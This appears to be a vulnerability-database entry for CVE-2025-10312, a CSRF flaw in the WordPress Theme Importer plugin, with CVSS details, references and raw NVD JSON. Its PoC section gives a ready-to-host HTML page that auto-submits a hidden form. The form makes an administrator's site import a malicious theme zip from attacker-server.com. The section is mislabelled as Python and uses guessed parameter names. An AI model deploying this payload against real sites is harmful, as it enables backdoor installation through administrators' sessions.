CVE-2025-10312

Description

The Theme Importer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation when processing form submissions in the theme-importer.php file. This makes it possible for unauthenticated attackers to trigger arbitrary file downloads and potentially execute malicious operations via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Theme Importer插件所有版本（包括1.0及以下）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-10312 PoC - CSRF Exploit for WordPress Theme Importer Plugin -->
<!-- This PoC demonstrates how an attacker can exploit the missing nonce validation -->
<!-- Save this as an HTML file and host it on an attacker's server -->

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <!-- Hidden form that auto-submits to trigger the vulnerable Theme Importer action -->
    <!-- Replace 'http://target-wordpress-site.com' with the actual target URL -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php?page=theme-importer" method="POST">
        <!-- The action parameter triggers the file download/import functionality -->
        <input type="hidden" name="action" value="import_theme" />
        <!-- Malicious URL pointing to attacker's server hosting a malicious theme zip -->
        <input type="hidden" name="theme_url" value="http://attacker-server.com/malicious-theme.zip" />
        <!-- Additional parameters that may be required by the importer -->
        <input type="hidden" name="import_submit" value="1" />
    </form>

    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf-form').submit();
    </script>

    <!-- Alternative: Image-based CSRF that triggers on page load -->
    <!-- <img src="http://target-wordpress-site.com/wp-admin/admin.php?page=theme-importer&action=import_theme&theme_url=http://attacker-server.com/malicious-theme.zip" style="display:none" /> -->
</body>
</html>

<!-- 
Attack Flow:
1. Attacker hosts this HTML page on a malicious server
2. Attacker sends the link to a logged-in WordPress administrator via email/social engineering
3. When admin clicks the link, the form auto-submits with their session cookies
4. The WordPress site processes the request without nonce validation
5. Malicious theme gets imported, potentially containing backdoors or malware
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10312
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10312
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10312/
[4] VulDB https://vuldb.com/cve/CVE-2025-10312
[5] https://plugins.trac.wordpress.org/browser/theme-importer/trunk/theme-importer.php#L71
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/9316796b-312f-4562-b92f-7de0129e4163?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-10312", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:40.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Theme Importer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation when processing form submissions in the theme-importer.php file. This makes it possible for unauthenticated attackers to trigger arbitrary file downloads and potentially execute malicious operations via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/theme-importer/trunk/theme-importer.php#L71", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9316796b-312f-4562-b92f-7de0129e4163?source=cve", "source": "[email protected]"}]}}